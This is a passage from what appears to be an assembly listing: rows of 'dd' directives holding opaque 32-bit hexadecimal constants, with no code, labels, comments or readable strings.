44537149h, 0C380426Bh, 512A5C72h, 60218525h, 5140DA8Ah dd 70212AF9h, 0BC617E16h, 7A02DC92h, 0FC5766CBh, 25535C5Fh dd 0B7088F3h, 5A3A7F38h, 0CB3A80B7h, 0E14A800Dh, 80229BBAh dd 0AD95019Eh, 39C6B532h, 0BA84EFEBh, 0C0C1EDDBh, 6A7F3A15h dd 0E6420BC4h, 5443EF80h, 0DFC06C7Bh, 359719F8h, 85159132h dd 18BE460Eh, 0BF506F22h, 94D8DA09h, 0D324C22Eh, 627F725Dh dd 60F498F9h, 4E8A4A0Fh, 0F826B173h, 1928E861h, 315E600Ah dd 889553FFh, 470ECAACh, 606144B3h, 9FA3F2BEh, 0A5B51089h dd 685B0311h, 0C94C81DFh, 5D7D98Bh, 0D28220B8h, 7EF7445Ah dd 0F260AEEDh, 852D5D8Dh, 16AFF816h, 0E8E9B915h, 0A38B01F4h dd 65117C6h, 0AA532BEFh, 2697AEAh, 9DB51B2h, 0E416760Eh dd 0D0A35281h, 9FF9601Ch, 2EEB80F8h, 610203FFh, 0D6342BE3h dd 0E1ABBC12h, 94DA6A59h, 4AC018C8h, 4DBA8C6h, 4D9D0B56h dd 0FA3FAE2Fh, 5C0F1723h, 90724CCh, 3A01C9EBh, 1DB2BBF6h dd 14D2630h, 82B6FEF6h, 0CEDEEAD6h, 10B205Ch, 50C0FF8Dh dd 0F0E1B350h, 0EC9E2434h, 0FFB100DCh, 2A4A4C8Bh, 8E2D3F94h dd 0BB5371D0h, 7D7E8C2Dh, 95D19D70h, 0B52FFDC7h, 0B2340347h dd 92E1F709h, 8160E426h, 0A79AD109h, 7202D724h, 1EE21410h dd 2A20EA41h, 0F9A5B5BCh, 8E3700C0h, 0A4DF258h, 0AD3F0009h dd 891519DAh, 575850C2h dd 0E36D06B4h, 988D8B5Bh, 0E0A23C82h, 9A1A55Eh, 0DA0E899Ah dd 0DC857C58h, 1251E597h, 4C18E3CBh, 8F75C03Dh, 1413FBF8h dd 0B38B0F90h, 7614F392h, 53105163h, 0E914775Bh, 0BB5F1893h dd 84268D6Fh, 0FE42CB32h, 0D31D4A7Fh, 292F70EEh, 7BB15F0Ah dd 5C2FA434h, 1570F68Eh, 4A3108E1h, 51D7201Ah, 8900BD5Eh dd 7DD5FB3Ah, 1E4E6695h, 0C154E5C2h, 566FA763h, 9B282BAEh dd 0B73BE127h, 0D40A031h, 0E97A2FC7h, 0B725D844h, 5C62C7D8h dd 39950909h, 1015590Ah, 0CA8D2FF2h, 7902822Eh, 0C5552917h dd 4F3F12C6h, 71A42BBDh, 0E303BC14h, 5027652Ch, 7DCCA155h dd 8C1BACBBh, 0D9DA3ABFh, 0D490A527h, 0D5001E7Eh, 5649D822h dd 135A8D0h, 0B231574Eh, 6B5AB0C4h, 6A2ECC9Dh, 318A00C5h dd 8CAE6F4Fh, 25CFB086h, 85CD05B1h, 0CB601CE4h, 0E602AC7Ah dd 5B0330E5h, 2EE672h, 12DA9C4Ch, 9E29BC7Dh, 9DE8C0E6h dd 95330122h, 0EDED9EB3h, 2360049Bh, 5AB1C18Dh, 10F1A77Ah dd 0A95EE549h, 78F35EEDh, 0D4F8D45Eh, 0B96AF933h, 3364C9CCh dd 0B96E4A9Bh, 0B5269C8Dh, 5633192Fh, 0AA1357A9h, 74AEC684h dd 7DAEB52h, 7EFDFC93h, 5235F709h, 1598563Bh, 0BF0FA90Dh dd 2D8B6A36h, 92FFB5D7h, 0CA286019h, 6C7075E7h, 0F9BB3E02h dd 5E21F879h, 84DD6923h, 0FCAA197Fh, 8D17C03Eh, 4B5A4BF5h dd 920FCD8h, 5D5F3937h, 15912C35h, 0EE303B85h, 20114962h dd 5EE2C54Ch, 8451B5h, 0CA55E1ECh, 9725E517h, 236E2B7h dd 572D69EBh, 1D44164Dh, 0A5E7BA60h, 82045F7Bh, 89967BEBh dd 0C85C9AEBh, 0F0D5C016h, 0CF2580ECh, 5F53E263h, 0B1803DBDh dd 0D2B097Eh, 55951A01h, 7C71F624h, 52646A97h, 0ACB49F80h dd 8ED90718h, 6145A44Ah, 41DB7FD8h, 2F3CCAE3h, 9D87532Ah dd 0AB1121A5h, 0D08B7C3Bh, 205D10CDh, 0F88A9609h, 695F0487h dd 94C0CF02h, 355825Ch, 49AD3C7Ah, 3527C0B0h, 54E7432Fh dd 0DAA96E38h, 51841779h, 0FDB85FF5h, 762B2FA2h, 0B5081A42h dd 0BF68C85Fh, 0E87E1EBAh, 82B7A729h, 0FC190B04h, 0E51E71BAh dd 132B0925h, 4F5A7AC6h, 5EC16AACh, 49D98BD0h, 4EF70137h dd 0E8352E12h, 4BEC17A0h, 27ED8A2Fh, 0F6145E6Fh, 49245B7Fh dd 56C94D1Ah, 0CB6DE98Eh, 0C6A34041h, 367B55C2h, 1E1E770h dd 5902C13Eh, 2FEB2706h, 8A00062Dh, 0F8457AB9h, 0C5394BE9h dd 0B841A909h, 19A527D1h, 8B6263F6h, 677F40C1h, 95749503h dd 0C0289CD4h, 669453EAh, 0B5DF6F02h, 0D7BF0F3Dh, 0FD8AB0A2h dd 5960B2C1h, 0A1C53FC3h, 2DF289BBh, 0E07EB9BEh, 9348C578h dd 32F11098h, 15BD290Bh, 6FF762FDh, 78CC4009h, 4850D780h dd 0CD6B8194h, 2498DE48h, 51991668h, 17179F4Fh, 0F0A0E6ECh dd 53343A1h, 8D315392h, 5FADD2D1h, 8B12225Eh, 102578ACh dd 9D891DEAh, 5025EB59h, 0B30AD2C6h, 918840EAh, 0F08B184Bh dd 0A087A64Ah, 0F55F1FFFh, 9A29A531h, 9BD15E7Ah, 17158026h dd 466F5D6h, 7C72B62Eh, 0A2ECB8CCh, 0F9BDDD75h, 0D8934780h dd 100B8EB0h, 5B2779BDh, 0A2C8E3F1h, 5E610B04h, 0D1F3026Ah dd 9C874870h, 0D8822597h, 0C0F50E96h, 4A8A90F2h, 5409E8DDh dd 9F45F73h, 0A218517h, 0D73628AFh, 7C0765FEh, 0CBFE930h dd 249F5908h, 429D3130h, 0C0AF7EFBh, 0C2C37BA6h, 76488809h dd 0A044FDh, 99BB7D0Bh, 0EEF06706h, 40FF267Dh, 6DE7721Ch dd 0CE4B3900h, 0CB81887Ch, 0B2773EF6h, 0E35B5F92h, 22C648DCh dd 8DF39F0Ch, 0A2E4922Fh, 2883B3F8h, 6D01990h, 0E2F626C6h dd 111A301Dh, 32E06A0Bh, 3B225DEFh, 14D70BB7h, 2F112114h dd 0CC085569h, 9865A59Eh, 76D05450h, 1B3F1246h, 0CA08BB51h dd 0EF800908h, 0A4FFC804h, 0F120B5CCh, 0E781902Ah, 9F43BF10h dd 0CC3C1E25h, 21F65F7Dh, 7A08F290h, 25D39720h, 0D6370981h dd 4C5F9955h, 26B0708Eh, 5770E6h, 71E4837Bh, 71B5DC8Ah dd 9D338282h, 0BE310C59h, 0C24A5173h, 4F765694h, 5B252310h dd 0D3C14F5Ch, 3100A20Bh, 0E4B7595h, 97F99488h, 0E8528F04h dd 408538DCh, 0AA81EA2Bh, 0F888F82h, 73DF00C8h, 2D19213Fh dd 4502D18Bh, 909076E9h, 0B72CA6ACh, 502DD930h, 6C504CDDh dd 0AC12C912h, 88BF92B6h, 0B34DF99Dh, 2BC8709Ch, 30692519h dd 0D7645014h, 0D2A1D631h, 36202EFFh, 7ACDBF57h, 0B6FAD275h dd 52D3023Dh, 7530F35Fh, 8B898CC5h, 263A73FAh, 101193B0h dd 92E60D9h, 0B82B16B1h, 943CA13Eh, 8FA5AC04h, 0B1E409Dh dd 7A63E6Ch, 0C003E7C8h, 142160D9h, 471231F2h, 22AF01E0h dd 19DD5FECh, 3A303156h, 7CDB9D0Bh, 971E8FF0h, 0AC0E771Ah dd 0AD0F3BF1h, 48CC710Ch, 12908FEh, 70D8B909h, 1D8B9561h dd 8EC0636Dh, 5AB4F2E9h, 2561F00Bh, 0B22DFC81h, 10163B8h dd 85200DBBh, 0A5D0ED15h, 0A2C04B2Bh, 87C100A9h, 0DDAB43D9h dd 7477DA0h, 793252A9h, 8355805Bh, 0D24E2BDFh, 2E80819Bh dd 9642C765h, 0F1DDC212h, 0E0D474E3h, 2416E4Eh, 7AB7D7Bh dd 92E3F8A5h, 880D2576h, 2F6B67Ch, 640F4837h, 2F411551h dd 14F7D28Dh, 28E2276h, 0CE25B725h, 95359748h, 2DC8D514h dd 817500ECh, 25A01BC7h, 40C53BB9h, 1178068h, 74ED0017h dd 14046CBCh, 0A2F06B9Fh, 0CDA757B8h, 0ABA92B2Ah, 934FFFB8h dd 970A53A0h, 0F060A2B1h, 0D09D61DFh, 0B71F5AA5h, 2A893EFCh dd 0F4EDAC2Dh, 5C970C69h, 8EBC7CBAh, 0BCE094C0h, 9F97E22h dd 0E6CCBD33h, 9A465671h, 9585B857h, 0A5624794h, 5CDE8B21h dd 0FE605146h, 1F563D7Fh, 38454F80h, 682E40A0h, 0BF05A518h dd 7B1C84B8h, 0E92603E8h, 4762A554h, 2DC155Eh, 2C1963BBh dd 0F4559F3Ch, 0A3B70F37h, 0E46E0681h, 4E1C2E54h, 0C83AA5FFh dd 0BD01202Fh, 0FB40086Fh, 0BEF3275Eh, 1C814F93h, 2E599F12h dd 0A7EF3070h, 0B52585D7h, 5BFE27D7h, 0B88E5740h, 71B52F09h dd 0C1BB8800h, 703B346Fh, 5DE07F50h, 0CD11EA97h, 0BB95E59Ah dd 0CB800830h, 684AC372h, 6588F979h, 533C9DBFh, 4EA0DAA7h dd 0E6FA3E86h, 6D5CFC2Fh, 5230B5D6h, 0E82DEF42h, 14DE460h dd 2B92B315h, 30B8DFBCh, 58029F26h, 0A0B7F46Dh, 0ADDAD991h dd 617C17E6h, 512453B5h, 90BD5816h, 0A4E93338h, 0EAA01A6Eh dd 0A47BC209h, 0AD4A713Bh, 2A02B061h, 0B3928CE9h, 8D01042Ah dd 0DDAA07B1h, 2BE961BAh, 6AA2034h, 0D8737DE1h, 4736604Ah dd 0C9D0071Ch, 0C9B531A4h, 6E752B29h, 4935BD47h, 0E994F42Fh dd 0A04E1974h, 0C902D1F9h, 8DD90069h, 0FE765B77h, 74954689h dd 0CD4CDC6Eh, 88BB4A86h, 0A5AB1A7h, 0F4D9A322h, 4D80FF2h dd 4A32AC33h, 18C8E89Ah, 1FA713C0h, 5CE562B7h, 0D956BDE9h dd 9079B350h, 0B41D232h, 6DC4C356h, 0AD8A1000h, 0D9B563B7h dd 5CA05B8h, 135B2A4Ch, 0A331ABC2h, 743B867Ah, 58EC88D1h dd 0BD9D3317h, 0CB81D980h, 30431295h, 8598EB63h, 0A5CC5EDCh dd 61349DBBh, 69BA592Dh, 8FE335D7h, 0D3C0E766h, 40E1A5ABh dd 0D3E96129h, 0D753BB00h, 0EA219F2Ah, 0BA4B0015h, 0C2E05A83h dd 5C096137h, 7541D136h, 9D844BC5h, 0C2A80B35h, 187B33E2h dd 16936AD8h, 0E826198Dh, 5C8B2FCDh, 20E94280h, 0EB129346h dd 0E3A8962Eh, 956B92EEh, 0FB968312h, 4A092A6Fh, 0A459BBE6h dd 534BFF47h, 0C8B3D163h, 710423FAh, 0EE995EEh, 0B7027F43h dd 42B903D0h, 89C88801h, 61E515Fh, 30DE1122h, 0D99D0B77h dd 0E9D85497h, 189570F8h dd 9F38197h, 507699F5h, 0BC48A54h, 35060740h, 0DA0E4A5Ch dd 8B178970h, 0EA5F563Bh, 0B900D648h, 0DFA21D3Fh, 4AC59589h dd 494B9822h, 0FB799200h, 0FD60C4E2h, 0CCE00504h, 0BC53ADBh dd 38D8B9DCh, 64C0FE4Ah, 9F19EB80h, 318B21F3h, 5A70560Ah dd 0D4695Eh, 299A3A6Eh, 8001A8DCh, 81D5D300h, 0E03857CFh dd 0A09FAC78h, 802915E4h, 11B58F0Fh, 3118870Fh, 0E6A9514Ah dd 8C19ACh, 0CF565E08h, 0FF5A368h, 1D998E5Fh, 0B91E162Ah dd 4A83ECA1h, 0C47BA9B5h, 8BB567B7h, 8B969E3Fh, 0B9C70701h dd 344225C8h, 0AB93107Dh, 861100FEh, 600E2DDDh, 360042A7h dd 3B6787AFh, 4ADF1DCAh, 0F246C453h, 830B00FBh, 5271075h dd 306D4891h, 17172910h, 7920E95Bh, 128D0362h, 0B38C1809h dd 23885B40h, 0C6A4001Dh, 0BFCB47D2h, 0D4122EBEh, 8F305F56h dd 1A161E2h, 0F81D8DCFh, 0C6325599h, 7E254056h, 8617F698h dd 0C8E4B1A4h, 322C5EF5h, 0E5F5FA87h, 1EFC50B1h, 4DD54B0Bh dd 1D060223h, 51B7F625h, 1326238Ch, 30AEDBB7h, 0DEB83D2Ch dd 0EBF11400h, 0AA096F40h, 452BF420h, 88A06E22h, 17379D27h dd 4E851591h, 8D3F40F7h, 0ADF84167h, 0CC376D2Dh, 441A957Dh dd 0AA5D3084h, 33229B8Fh, 0D903BB05h, 98FA480Bh, 0BF1266D7h dd 98F24ACCh, 823D9B4Bh, 0AB37E015h, 0F67E5C82h, 660A0800h dd 70F80EB5h, 68BA9547h, 0F9D4C474h, 75121828h, 0B9BB687h dd 5613459Dh, 0AC735A0Eh, 1D9AD552h, 54518254h, 0A4E65712h dd 53E3D00h, 0BBF630B2h, 0CEB00098h, 6185249Bh, 0D109EC22h dd 0D515F3BFh, 0DC60B6B1h, 0F03C81F1h, 41C021Eh, 0DEC6F861h dd 0A900F44Eh, 3322069Ah, 952C39BDh, 90A86D67h, 70E9FE07h dd 6D1BFFF4h, 7F02C046h, 8D4E8952h, 0E064ADFDh, 0C3F29BC1h dd 2C5AE8E7h, 2565146h, 357C6A95h, 0FC6B8856h, 242E1078h dd 560E7E90h, 51A43D5Bh, 0B1FD95DEh, 0C86A235Fh, 0AEBE6A75h dd 0E9CB81C0h, 521B2701h, 6F491F6h, 8F7A8425h, 0EE78D837h dd 4A9EC4Eh, 293D70BCh, 1B89008Ah, 105AB0Bh, 18492D9Dh dd 53270E5Bh, 0F70E50D1h, 2D6DF300h, 5D3C0A1Eh, 22825E0Fh dd 0ED308A2Eh, 0DFD88225h, 0BF575001h, 33643F19h, 6FC0B53Ah dd 0F077E6Eh, 101BB9CAh, 1A66194Dh, 0BB046071h, 65EDF26Ch dd 0FB00D9B2h, 0DC215EADh, 5F0ECCA0h, 60C7B561h, 0E11028BBh dd 0B082D71Fh, 204105DEh, 7EDA0CAFh, 543A899Fh, 9D2B78C4h dd 681FC125h, 25B529B5h, 93542AF9h, 85C33871h, 0C14E9BFAh dd 90026A1Ah, 1636165h, 840EC901h, 2AE1BCF5h, 60B213EFh dd 0CCE9F980h, 82C6795h, 5B2525F8h, 842370FEh, 83D1E809h dd 127FE7Bh, 0FF371DEh, 0CA67A8Fh, 25C86124h, 0B5A73153h dd 0EC87004Eh, 0DE26BAC4h, 18AA42E7h, 5D89CB2Eh, 3E0FF014h dd 0B2A590FAh, 5993E4AEh, 13DB8C26h, 6EB76081h, 0B22E5F57h dd 0C8BB0723h, 75E99940h, 0C0EF289Bh, 7BCBB15Fh, 0A8784B5h dd 0FC058856h, 0CA2F98EAh, 559156DCh, 0D2F79780h, 25776A2Eh dd 946C8B5Eh, 26846B7h, 5D99704Ah, 9A56F885h, 47306DEBh dd 1E02E042h, 0BD5AE4B1h, 56F8FA1h, 0FF2B1200h, 0DFA0CB37h dd 17E18FD8h, 53FF6A6Eh, 85BA04EBh, 51B54531h, 5FEC6AA9h dd 0BB75D402h, 0C0BC2251h, 951244F2h, 694DC6B1h, 35D302CFh dd 773D2A06h, 8B80E493h, 0D0EEA6Fh, 400BBF59h, 4CEF26CDh dd 8114076Eh, 1C208290h, 0E30ED7E4h, 12B05B95h, 2615B2BFh dd 5A3CAAE6h, 9AE4F25Bh, 71E4001Ch, 0A295D7B3h, 270106D5h dd 0AB22549Dh, 81F46D27h, 52D98C98h, 0A85BE3BAh, 514EC0E9h dd 70E7DFh, 0B69EE33Ch, 6080B1E2h, 0B3A0A390h, 3BF21BFAh dd 0C14A04BDh, 20BC82ABh, 5C49F256h, 9D036032h, 5BB51BBDh dd 0F972886Bh, 1DAC5319h, 2CD6DDA6h, 0B0CA034Ch, 2C0371D7h dd 0E931B5CBh, 0C2534A98h, 12FD073Dh, 5D847F1Bh, 9820EF49h dd 0CB6229h, 6F0CFEEh, 6AEAFA58h, 0D7F42B25h, 95895202h dd 12B795D6h, 90D0908h, 29910771h, 2110294Ch, 0AF204A17h dd 3918BFF0h, 0CB805E72h, 8FB20A4Ch, 4B0FD9FFh, 0A9D8012Eh dd 261D71E6h, 2A590BE5h, 0BB50DE54h, 253443E4h, 2543C622h dd 1CCC6721h, 222EBB06h, 84B64A78h, 9D330980h, 96552071h dd 0EBA52D5Bh, 1CDE90D4h, 41DF9Bh, 0D84F64FDh, 80096D2Ch dd 0D66A18DBh, 0CD01DEB7h, 0C873924Bh, 0B92E260Ah, 626AA93Dh dd 0A1FDDB72h, 1D199DA3h, 0ABB94A8Bh, 0AE25E5C3h, 5F2FC239h dd 4E1C43B7h, 2EB9CF7Ch, 46BF6604h, 45E6AAD0h, 80CB0BE0h dd 5B74DF28h, 2B0B8EB9h, 0C0094DC0h, 4CE165B8h, 9280583Bh dd 0B7ACBA9Ch, 41CCF7C2h, 0C0989755h, 47C886C2h, 27B70104h dd 0B8E1B642h, 0D419946Bh, 0B881ADC1h, 468D006Eh, 5A64023Ah dd 9D12299Bh, 53E20559h, 84139A92h, 0E5B8BB91h, 946B6380h dd 9C00219Eh, 78D7A199h, 4CEC201h, 4436A995h, 43E7EA3Ah dd 3298EAF5h, 9400E06h, 0EA72C5BDh, 9A218499h, 9B2A2F61h dd 0C719C8D6h, 0E7E2D147h, 0BB7EFEDDh, 32ACF516h, 0A80D6DBDh dd 2C9A284Fh, 0B7DE12FCh, 8887E288h, 4A14A88Ch, 0AB751239h dd 1A23CB6Ah, 3BBEBA00h, 4AD564D3h, 0B2DBB660h, 40DD3015h dd 5B40E494h, 1B9884D3h, 0B8B4D133h, 5F011FA2h, 2E39E1FFh dd 560576B8h, 70B07A77h, 2E71A281h, 22FECE2Ah, 7D139051h dd 64599DE9h, 252759C6h, 0ABC5FA8Ah, 0BDE5141Fh, 60A30C00h dd 1340C17Eh, 9E0897F5h, 0B004D67Dh, 25875D13h, 0FE143ABh dd 254F238Bh, 3F8003B8h, 0A02F7090h, 0FDC6D902h, 0FF58729Ah dd 8D4DC910h, 6700237Ah, 0F5B2883Ch, 4AC6CB1Ah, 849BAC5Fh dd 8B440119h, 0C9DABFF9h, 0F3C05ED0h, 2013E51Bh, 0FE8B4B17h dd 29006BAEh, 7F25291Bh, 69268964h, 21150B76h, 8B9009DEh dd 0BB0CD6DFh, 81A1CCCEh, 6716E702h, 516A0AA4h, 0C19280CBh dd 56540C0Eh, 0EAE56806h, 4A44FE9Eh, 1AAEB0DFh, 1801912h dd 6C01B76Fh, 0E0B90171h, 0C1C36E6Bh, 0EAD8425h, 78C1CBCh dd 0A0C51A07h, 0A729519Fh, 12906245h, 2DAB32D5h, 0B16866E9h dd 0AD2BB535h, 0CF809630h, 8201E7E9h, 3E3341F5h, 0B75AB77Ah dd 0AC5FAE00h, 8C5BBD15h, 0B9C06425h, 4CFD0059h, 3CA38994h dd 2E54240Eh, 0D0CA2534h, 42F9F1C7h, 91535590h, 40D9CDAFh dd 1A263EECh, 902CFFEh, 894E57D1h, 0DC75DE06h, 5666032Fh dd 63BCD692h, 0BD29E2C0h, 0B2135A85h, 0B760090Bh, 10935C8Ch dd 50611E0Ah, 1F7744EDh, 80FEE225h, 0E6C9091Ch, 20201B8h dd 0A6122D19h, 0F93DD561h, 0EDFA280h, 0C463D742h, 0A624E584h dd 0A7B400FFh, 73D957A6h, 90D205B9h, 0EEFE170Dh, 0EDFDE489h dd 0EF1D352Fh, 0D8B96B23h, 0E4FA1377h, 0CBE2CFh, 0D9AE1265h dd 0C5C48D54h, 6C40ED9Ch, 2D26667Dh, 81405BB2h, 0F8135768h dd 4112213Bh, 73A884F0h, 0A73DF3FBh, 0B397ECB9h, 0EA341412h dd 81993AC3h, 0C27127BBh, 2FEBA17Eh, 42ECA1EDh, 93795C41h dd 4950C62h, 0B901EB08h, 44417483h, 6FA3D57Bh, 0F9E605BAh dd 98AEF120h, 37BD6175h, 5C3000C4h, 86EDCB37h, 0CC46A138h dd 21711645h, 35F524ACh, 8670AFE9h, 25F06C85h, 0C702FBBDh dd 715D262Bh, 0E3F474Bh, 626FBB16h, 17EEE303h, 0EE8437E9h dd 0A88935DEh, 115F5F7Bh, 0F61C801Bh, 12AF88CFh, 30A84299h dd 62BCA0CCh, 0E1EB6000h, 8D19F1Ah, 0F4BAC17Eh, 0F8858FB8h dd 0F15FBF0Fh, 21ABF82h dd 4CD55F61h, 1D5A7D23h, 92662920h, 0DC77F2B3h, 0C6C90413h dd 0F033034Bh, 4DE989D5h, 68F27F0Bh, 6A003AB8h, 323F68DBh dd 5A8E0F64h, 3E31F715h, 883A80E2h, 0D108EAD0h, 688401A3h dd 0E5F59F1Eh, 7F322F4Dh, 6B4CF5FCh, 134091ECh, 87F32580h dd 46D6D256h, 0F6A0118h, 96A97A76h, 8D7F8271h, 0C3F23F9Ah dd 7B67D00h, 54BFDC46h, 0AE22DB00h, 0BB8D6829h, 98C40042h dd 80965B7Ah, 599DFBE7h, 2C745480h, 0D0624C1Fh, 10AD5EFBh dd 1800394h, 4AD1F1BAh, 0C2800A99h, 4DB852FFh, 0A25400C8h dd 0E188A170h, 0A633B799h, 0FC9D785Bh, 0AB4A8DA8h, 625AB56Ah dd 0C8DF19A8h, 1792BF36h, 1691E05Fh, 0BD71ABA8h, 931B5D35h dd 5E0450F6h, 81E2F277h, 7A1BCD04h, 0BD16788Ah, 1C45EF65h dd 3ADB04C2h, 56DA18C0h, 0ED59BD03h, 509C40CBh, 6420205Bh dd 0E18CBE4h, 0CEC327AEh, 5576D0E1h, 0C7AD2A39h, 49931CA8h dd 524A6400h, 17FC3D55h, 4B5ADF0h, 0EA2025D1h, 0E69659F2h dd 170BA03Dh, 93230E7Ch, 28012694h, 7FDD8AB3h, 4972547Ah dd 0F95A7AB2h, 40EC39h, 22A0D269h, 6B1D035h, 83294F26h dd 2FF45425h, 1459A9D3h, 5053D218h, 405200E1h, 11B4108Ch dd 984405FCh, 0C5801CF3h, 800F9EEBh, 0E514E2ABh, 24089CB6h dd 3FE2D81h, 0B268FEC2h, 40A85696h, 0ADF27852h, 24072F24h dd 1EB4D700h, 0F4B09F33h, 1BE0960h, 9E7978C8h, 7C85C8BCh dd 459E9C97h, 0E3C1401Ah, 97DA50A1h, 43E87CE3h, 0ACD8DA0Dh dd 620DB2EFh, 0A4A94146h, 13307E6Ah, 69E0CBAFh, 80FF99FFh dd 75AA4C6Bh, 5FE64031h, 3E7AAD00h, 3DEE69A4h, 215B9D47h dd 0C926D888h, 2B5F5889h, 4FB555EAh, 5B8EB0A5h, 5E45003Ah dd 0F4E17DC9h, 0EE1EDF81h, 0E5E59608h, 4251183h, 0B598D89h dd 5ADCE6BAh, 491E8CC1h, 81BAB92Eh, 48AB90A0h, 45E5043Ah dd 0D55B0B1Ah, 64A64ABDh, 1959E9h, 5D69BF51h, 5B137CD6h dd 15AA9DE9h, 35BCEEEAh, 5E631748h, 4F80B7E2h, 0E8820855h dd 0E4616F01h, 60F4C86Dh, 0B515DA7Ch, 15BCDE1h, 81F00E13h dd 4C3DBBEAh, 67B85BD0h, 79063510h, 0A061E6FFh, 0E5ECE965h dd 36642B50h, 4069F6BFh, 2B335805h, 40F01AC2h, 2F38C4EAh dd 44DC5A4Dh, 50B7C06Eh, 3BD0033Ch, 45323A81h, 85448419h dd 10662D70h, 0E44CD9E9h, 0C2C84E8Bh, 3011394h, 4F993C40h dd 0EA75C206h, 589F8B07h, 832A0912h, 5B61F8D3h, 0D1030C1Ch dd 0A6D208Dh, 9508ED4Dh, 12831112h, 6318F64h, 303EC483h dd 4C8B51B8h, 81102405h, 1418B0A9h, 243359B5h, 165DC3C0h dd 248ACC09h, 27D6578Ah, 0B8AF6864h, 89FA4AA9h, 27EA2B4Fh dd 0BCD0C419h, 82A17412h, 12472B3Dh, 56128DD3h, 58D58B36h dd 648CA263h, 0DA6DA2C6h, 5FA4272Ch, 6F43F04Fh, 59B4A20Ah dd 0AF21B587h, 0A9CB19DBh, 530E3AD5h, 3CEF5161h, 26FD8014h dd 40145Fh, 0B659123Eh, 0C4B8B37Bh, 53A40626h, 0DC17AF38h dd 13FFCBC3h, 98805F82h, 0EB39C06Fh, 0A4C98EF4h, 4BADA015h dd 0DC3CB9h, 0B313D9F6h, 6B55A659h, 176DCE00h, 5B36EA06h dd 3CD200BDh, 386853C9h, 290E14F1h, 61322BC1h, 0E4A8A27h dd 3A7C8E8h, 3B5EF6C7h, 40B0587Ch, 9A000568h, 81B42C46h dd 5020CFh, 4A151102h, 0FE1CA693h, 7C093Dh, 0E3B1966Ah dd 1E0836h, 248057E9h, 0AB10446Ch, 7BBBC100h, 7CC65B42h dd 0F630004Fh, 79BA57B9h, 6C3A34CAh, 3FCB003Bh, 0B7A59512h dd 803A3FB4h, 68C83E80h, 22BBBE99h, 0E507B273h, 7E530842h dd 3D9B104Ch, 481751Ch, 0FCBFD636h, 8F089806h, 14C121h dd 0F7A4B875h, 4762BD6Bh, 382E3D0Ch, 19425848h, 189CEBC7h dd 1CA99DB2h, 0B5AACC06h, 0E2D20011h, 0F73B1B3Eh, 3333469Fh dd 3CE08FFh, 3EEAF321h, 0C6A8151Eh, 2B01C98Dh, 2EB3C553h dd 688041B8h, 58F7B5FCh, 0B10C266Eh, 1857D00Eh, 0B3FF1B06h dd 2EE080B7h, 18C15510h, 94BBCF04h, 7A0C9006h, 0C19A73D7h dd 0B666007Bh, 952F633Ch, 8C00872Eh, 7E119217h, 0EBBFD90h dd 0FC18E275h, 386CDEE0h, 0EC00D485h, 584C4BB9h, 0AA2BF3h dd 8D926270h, 4D57CB22h, 0D35C2700h, 6E1B5312h, 0FC430FA8h dd 0EAE05F99h, 68AA7C0h, 332B3006h, 0C408C54h, 7617E068h dd 660F9918h, 80AEAFEEh, 2ACC2BE1h, 21DA0F78h, 7E20D27Ch dd 9EC220F1h, 0B4ECF500h, 12E41537h, 0F08F8AFh, 0B5C32241h dd 0E8C92782h, 816A1022h, 0BE1487D6h, 54325980h, 17D5BF0Bh dd 0CBD7AA00h, 61C477BBh, 0B86C012Fh, 87D0A949h, 3B08CCFBh dd 0DFE1A8C0h, 0ED1CD78h, 0A191B056h, 0E472407Eh, 27E94D79h dd 806CB53Fh, 0D6992F6Eh, 3E941C59h, 0F28FB0D0h, 0BCE07CFBh dd 2B8CE457h, 70E65E01h, 0B06AC807h, 368C90E2h, 6019C0E2h dd 1E0F9E29h, 0F5A52A0Ah, 0EE81B8F0h, 0CC5979E2h, 0D8BA1180h dd 0B8DF6594h, 5185BC06h, 3CE9A514h, 0C500F481h, 0CF61199Dh dd 4300C191h, 0D8DF376h, 0C06FFA14h, 0F29F1360h, 7D00F8FDh dd 9517930h, 748127h, 6AE94C06h, 0CC3FAE41h, 0E1639000h dd 53DE65Bh, 0D792006Eh, 2910EB2Ch, 820085E4h, 6D7234DBh dd 326848h, 7DE9A877h, 7664A31Fh, 422A18C0h, 7DBAD7A1h dd 374B00F2h, 54D525CBh, 48C01D3Fh, 0A0C736C8h, 7B2B00E6h dd 6D0B6C68h, 60308055h, 17065053h, 0C73D007Fh, 58747A64h dd 0F20EC99Eh, 28B77Ch, 0AC77CFE2h, 0D00F3E43h, 7BF0641Ch dd 4C7F390Eh, 8F68124Ch, 88CB800Ch, 5A9852h, 280F8772h dd 687C054Fh, 0B8B6A07h, 0C301E06Eh, 6C434890h, 8190487h dd 454004A3h, 98000715h, 50CB057Dh, 1750965h, 3000F75Eh dd 4CE77F82h, 47074276h, 709AF922h, 0DBA08D27h, 3F16740h dd 5E1AC324h, 14A8F754h, 6F003460h, 81A8F57Dh, 3A225650h dd 93807758h, 0EFF2D389h, 0FE1C75D7h, 183D4C52h, 174891ADh dd 7FB0883Eh, 30E25648h, 43C3784Ah, 0CE9B00D2h, 58206F97h dd 0FA63D4E6h, 0C3CC4758h, 5EE32Dh, 0AF60211h, 9FDDAFEDh dd 0CA55419h, 21803D08h, 0E40AFEE0h, 97010E94h, 0C22835Ah dd 0B8833C60h, 0EAF2B3D0h, 6B71680Ch, 6050C049h, 3ECBC95Ch dd 0A90F2521h, 0E09FF362h, 4956CF51h, 9446544Dh, 92C50EEFh dd 2E615CDFh, 0E42B3725h, 7B0DFE57h, 2945B356h, 0DF55F1C8h dd 59AB0C59h, 0E6180819h, 0F2B132D5h, 993B3CFAh, 0DF2D2907h dd 3E474F35h, 37B05F7h, 5253FD9Dh, 0F8A74900h, 0C8D0D58Bh dd 634B732Ch, 25A408E0h, 0F0942000h, 0A92EBF8Bh, 530D3F9Eh dd 49E64E0Eh, 50752C46h, 0FC020946h, 0E8D0218Bh, 88109E31h dd 0BE008BF4h, 0D74A3A28h, 26C447D1h, 0E4FE80Ah, 0EA6772C8h dd 0A84650D9h, 4C31E085h, 0D569E93Ch, 776C64D8h, 0B1C7248Ah dd 0A304009Ah, 0F48BF51Ah, 0CA244F00h, 0A1E64DC3h, 0F2843C98h dd 150FBA9h, 0D0238BF6h, 889F18F8h, 8B00EE92h, 8796BBD6h dd 0E6AB39C4h, 0FFE8C873h, 0D78BC2C0h, 9CD853D0h, 8BFA8E83h dd 0EF5090B8h, 598FF207h, 9040CC2h, 21A77890h, 32470689h dd 58484BCCh, 70F18780h, 1F0BCF1h, 0F661ED97h, 4CC0FBF0h dd 1933AC8h, 0BC31EE30h, 352461E5h, 0F42F32E9h, 0C6AD02AEh dd 0D480512Ch, 484C80F7h, 27E5FC1Bh, 